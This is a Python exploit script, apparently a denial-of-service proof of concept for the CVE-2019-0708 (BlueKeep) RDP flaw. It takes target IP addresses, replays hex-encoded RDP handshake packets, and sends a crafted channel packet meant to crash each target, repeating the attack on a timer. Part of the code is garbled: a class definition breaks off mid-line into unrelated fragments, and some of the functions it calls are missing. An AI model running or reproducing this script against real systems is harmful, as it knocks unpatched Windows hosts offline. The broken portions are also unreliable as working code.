import time import socket import struct import argparse import binascii from OpenSSL import SSL from impacket.impacket.structure import Structure class Parser(argparse.ArgumentParser): def __init__(self): super(Parser, self).__init__() @staticmethod def optparse(): parser = argparse.ArgumentParser() parser.add_argument( "-i", "--ip", dest="ipToAttack", metavar="IP[,IP,IP,..]", default=None, help="Pass a list of IP addresses separated by a comma or a single IP address (*default=None)" ) parser.add_argument( "-a", "--arch", type=int, choices=(32, 64), dest="archSelected", metavar="ARCHITECTURE", default=64, help="Pass the architecture of the target you are attacking (*default=64)" ) parser.add_argument( "-t", "--dos-times", type=int, dest="dosTime", default=60, metavar="AMOUNT", help="Pass how many times you want to DoS the target before exiting (*default=60)" ) parser.add_argument( "-w", "--wait-time", type=int, dest="waitTime", default=70, metavar="SECONDS", help="Pass how long you want to wait in between DoS's (*default=70)" ) parser.add_argument( "-v", "--verbose", action="store_true", default=False, dest="runVerbose", help="Show the received packets (*default=False)" ) return parser.parse_args() # same structure bullshit class TPKT(Structure): commonHdr = ( ('Version', 'B=3'), ('Reserved', 'B=0'), ('Length', '>H=len(TPDU)+4'), ('_TPDU', '_-TPDU', 'self["Length"]-4'), ('TPDU', ':=""'), ) class TPDU(Structure): commonHdr = ( ('LengthIndicator', 'B=len(VariablePart)+1'), ('Code', 'B=0'), ('VariablePart', ':=""'), ) def __init__(self, data=None): Structure.__init__(self, data) self['VariablePart'] = '' class CR_TPDU(Structure): commonHdr = ( ('DST-REF', 'h', deletion_structure ) bin_differ = bytearray() bin_differ.extend(map(ord, packet)) bin_differ[2] = size_differ_0[0] bin_differ[3] = size_differ_0[1] bin_differ[10] = size_differ_1[0] bin_differ[11] = size_differ_1[1] bin_differ[107] = size_differ_2[0] bin_differ[108] = size_differ_2[1] bin_differ[116] = 0x81 bin_differ[117] = size_differ_3[1] bin_differ[130] = 0x81 bin_differ[131] = size_differ_4[1] bin_differ[392] = size_differ_5[1] tls.sendall(bytes(bin_differ)) results = tls.recv(8192) if verbose: print("[@] received: {}".format(repr(results))) def send_client_information_pdu_packet(tls): """ client info packets """ packet = unpack( "0300016102f08064000703eb7081524000a1a509040904bb47030000000e00080000000000000041004100410041004100410041000000" "740065007300740000000000000002001c003100390032002e004141410038002e003200330032002e0031000000400043003a005c0057" "0049004e0041414100570053005c00730079007300740065006d00330032005c006d007300740073006300610078002e0064006c006c00" "0000a40100004d006f0075006e007400610069006e0020005300740061006e0064006100720064002000540069006d0065000000000000" "00000000000000000000000000000000000b00000001000200000000000000000000004d006f0075006e007400610069006e0020004400" "610079006c0069006700680074002000540069006d00650000000000000000000000000000000000000000000000030000000200020000" "0000000000c4ffffff0100000006000000000064000000" ) tls.sendall(bytes(packet)) def send_channel_pdu_packets(tls, retval_size=1024, verbose=False): """ channel join erect domain and user packets in one swoop """ packet = unpack("0300000c02f0800401000100") tls.sendall(bytes(packet)) packet = unpack("0300000802f08028") tls.sendall(bytes(packet)) results = tls.recv(retval_size) if verbose: print("[@] received: {}".format(repr(results))) packet = unpack("0300000c02f08038000703eb") tls.sendall(bytes(packet)) results = tls.recv(retval_size) if verbose: print("[@] received: {}".format(repr(results))) packet = unpack("0300000c02f08038000703ec") tls.sendall(bytes(packet)) results = tls.recv(retval_size) if verbose: print("[@] received: {}".format(repr(results))) packet = unpack("0300000c02f08038000703ed") tls.sendall(bytes(packet)) results = tls.recv(retval_size) if verbose: print("[@] received: {}".format(repr(results))) packet = unpack("0300000c02f08038000703ee") tls.sendall(bytes(packet)) results = tls.recv(retval_size) if verbose: print("[@] received: {}".format(repr(results))) packet = unpack("0300000c02f08038000703ef") tls.sendall(bytes(packet)) results = tls.recv(retval_size) if verbose: print("[@] received: {}".format(repr(results))) def send_confirm_active_pdu_packet(tls): """ confirm the user is active """ packet = unpack( "0300026302f08064000703eb70825454021300f003ea030100ea0306003e024d5354534300170000000100180001000300000200000000" "1d04000000000000000002001c00200001000100010080073804000001000100001a010000000300580000000000000000000000000000" "0000000000000001001400000001000000aa000101010101000001010100010000000101010101010101000101010000000000a1060600" "000000000084030000000000e404000013002800030000037800000078000000fc09008000000000000000000000000000000000000000" "000a0008000600000007000c00000000000000000005000c00000000000200020008000a0001001400150009000800000000000d005800" "910020000904000004000000000000000c0000000000000000000000000000000000000000000000000000000000000000000000000000" "00000000000000000000000000000000000000000000000000000000000c000800010000000e0008000100000010003400fe000400fe00" "0400fe000800fe000800fe001000fe002000fe004000fe008000fe0000014000000800010001030000000f0008000100000011000c0001" "0000000028640014000c00010000000000000015000c0002000000000a00011a000800af9400001c000c0012000000000000001b000600" "01001e0008000100000018000b0002000000030c001d005f0002b91b8dca0f004f15589fae2d1a87e2d6010300010103d4cc44278a9d74" "4e803c0ecbeea19c54053100310000000100000025000000c0cb080000000100c1cb1d00000001c0cf0200080000014000020101010001" "400002010104" ) byte_differ = bytearray() byte_differ.extend(map(ord, packet)) tls.sendall(bytes(byte_differ)) def send_establish_session_pdu_packet(tls): """ establish the connection """ packet = unpack("0300002402f08064000703eb701616001700f003ea030100000108001f0000000100ea03") tls.sendall(bytes(packet)) packet = unpack("0300002802f08064000703eb701a1a001700f003ea03010000010c00140000000400000000000000") tls.sendall(bytes(packet)) packet = unpack("0300002802f08064000703eb701a1a001700f003ea03010000010c00140000000100000000000000") tls.sendall(bytes(packet)) packet = unpack( "0300058102f08064000703eb70857272051700f003ea030100000100002b00000000000000a9000000000000000000a900000000000200" "0000a3ce2035db94a5e60da38cfb64b763cae79a84c10d67b791767121f96796c0a2775ad8b2744f30352be7b0d2fd81901a8fd55eee5a" "6dcbea2fa52b06e90b0ba6ad012f7a0b7cff89d3a3e1f80096a68d9a42fcab14058f16dec805baa0a8ed30d86782d79f84c33827da61e3" "a8c365e6ec0cf63624b20ba6171f463016c7736014b5f13a3c957d7d2f747e56ff9ce001329df2d9355e95782fd5156c18340f43d72b97" "a9b428f4736c16db43d7e5580c5a03e37358d7d976c2fe0bd7f412431b706d74c23df12660588031070e85a395f89376999feca0d4955b" "05fa4fdf778a7c299f0b4fa1cbfa9566ba47e3b044df83034424f41ef2e5cba95304c276cb4dc6c2d43fd38cb37cf3aaf393fe25bd327d" "486e939668e5182bea84256902a538656f0f9ff6a13a1d229d3f6de04cee8b24f0dcff7052a70df9528a1e331a301115d7f895a9bb7425" "8ce3e9930743f55060f7962ed3ff63e0e324f1103d8e0f56bc2eb8900cfa4b9668fe596821d0ff52fe5c7d90d439be479d8e7aaf954f10" "ea7b7ad3ca07283e4e4b810ef15f1f8dbe0640272f4a03803267542f93fd255d6da0ad234572ffd1eb5b5175a761e03fe4eff496cda513" "8ae6527470bfc1f9fb689edd728fb4445f3acb752a20a669d276f957462b5bdaba0f9be060e18b9033410a2dc506fed0f0fcde35d41eaa" "760baef4d5bdfaf355f5c16765751c1d5ee83afe54502304ae2e71c27697e639c6b2258792635261d16c07c11c00300da72f55a34f23b2" "39c7046c97157ad72433912806a6e7c3795cae7f5054c2381e90231dd0ff5a56d61291d296decc62c8ee9a4407c1ecf7b6d99cfe301cdd" "b33b93653cb480fbe387f0ee42d8cf08984de76b990a43ed137290a967fd3c6336ec55faf61f35e728f387a6ce2e34aa0db2fe1718a20c" "4e5ff0d198624a2e0eb08db17f32528e87c9687c0cefee88ae742a33ff4b4dc5e5183874c72883f77287fc79fb3eced051132d7cb458a2" "e628674feca6816cf79a29a63bcaecb8a12750b7effc81bf5d862094c01a0c4150a95e104a82f1741f7821f5706124003d475ff325803c" "4beaa3f477eaa1421a170f6da8359e9126344304c6c65b217d8cc722917b2c2d2fd67ea552a80880eb60d144098e3ca1aa67600a26c6b5" "c679a64f8b8c255cf10b23f4d8a66df19178f9e52a502f5a4422d9195cafd6ac97a2f80d0ce3dd884898280b8bbd76dcdecae2c24a8750" "d48c775ad8b2744f3035bf28aed9a298a5bc60cab8904d2046d98a1a30018b38631a57095146959bd8800cb07724bf2bd35722d9195caf" "d6ac97a2f80d0ce3dd884898280b8bbd76dcdecae2c24a8750d48c569238ed6b9b5b1fba53a10ef7751053224c0a758854693f3bf31867" "6b0f19d1002586cda8d9dd1d8d268754d979c0746590d73332afba9d5ad56c7ca147e1496e1cce9f62aa26163f3cec5b49e5c060d4bea7" "88bca19f29718ceb69f873fbaf29aa401be592d277a72bfbb677b731fbdc1e63637df2fe3c6aba0b20cb9d64b83114e270072cdf9c6fb5" "3ac4d5b5c93e9ad7d530dc0e1989c60888e1ca81a628dd9c740511e7e1ccbcc776dd55e2ccc2cbd3b64801ddffbaca31ab26441cdc0601" "dff29050b86b8fe829f0baecfb2dfd7afc7f57bdea90f7cf921ec420d0b69fd6dca182a96c5e3e83415773e9e75a3fda244f735ef4e092" "24bd0bd03c4996b5b50532cb581d6f9751ee0cdc0b2a60ef973e5a30811591cf1107252c41db7072e175f6a5ffe844e703e361aadbe007" "3d070be35c09a95e10fdcf749e23f1308616ef254efea493a5800a0139cc117a6e94225bd8c6c9a8df1396b391336e87bb94632d8864a7" "5889dadc7f2ae3a166e5c87fc2dbc77d2fa946284569bcac9f859eb09f9a49b4b1cb" ) tls.sendall(bytes(packet)) packet = unpack("0300002802f08064000703eb701a1a001700f003ea03010000010000270000000000000003003200") tls.sendall(bytes(packet)) def send_dos_packets(tls, arch_selected): """ theoretically, the arch shouldn't matter, but for good measures we'll make it matter """ arch_32_packet = unpack("0300002e02f08064000703ef70140c0000000300000000000000020000000000000000000000") arch_64_packet = unpack( "0300002e02f08064000703ef70140c000000030000000000000000000000020000000000000000000000000000000000000000000000" ) if arch_selected == 32: send_packet = bytes(arch_32_packet) else: send_packet = bytes(arch_64_packet) tls.sendall(send_packet) def main(): """ main """ opt = Parser().optparse() to_attack = [] if opt.ipToAttack is not None: for ip in opt.ipToAttack.split(","): to_attack.append(ip.strip()) else: print("usage: python 2019-0708-dos.py -i IP[IP,IP,...] [-a 32|64]") exit(1) for target in to_attack: try: print("[+] DoSing target: {} a total of {} times".format(target, opt.dosTime)) for i in range(opt.dosTime): print("[+] DoS attempt: {}".format(i+1)) print("[+] establishing initialization") current_tls = send_initialization_pdu_packet(target, verbose=opt.runVerbose) print("[+] sending ClientData PDU packets") send_client_data_pdu_packet(current_tls, verbose=opt.runVerbose) print("[+] sending ChannelJoin ErectDomain and AttachUser PDU packets") send_channel_pdu_packets(current_tls, verbose=opt.runVerbose) print("[+] sending ClientInfo PDU packet") send_client_information_pdu_packet(current_tls) print("[+] receiving current") results = current_tls.recv(8000) if opt.runVerbose: print("[@] received: {}".format(repr(results))) results = current_tls.recv(8000) if opt.runVerbose: print("[@] received: {}".format(repr(results))) print("[+] confirming user is active") send_confirm_active_pdu_packet(current_tls) print("[+] establishing the connection") send_establish_session_pdu_packet(current_tls) print("[+] DoSing target: {}".format(target)) send_dos_packets(current_tls, opt.archSelected) print("[+] target should be dead now, waiting {}s before starting again".format(opt.waitTime)) time.sleep(opt.waitTime) print("\n[+] starting again\n") except Exception as e: print( "[!] error on target: {} ({}), if this happened after a successful attack, change the wait " "time".format(target, e) ) if __name__ == '__main__': main()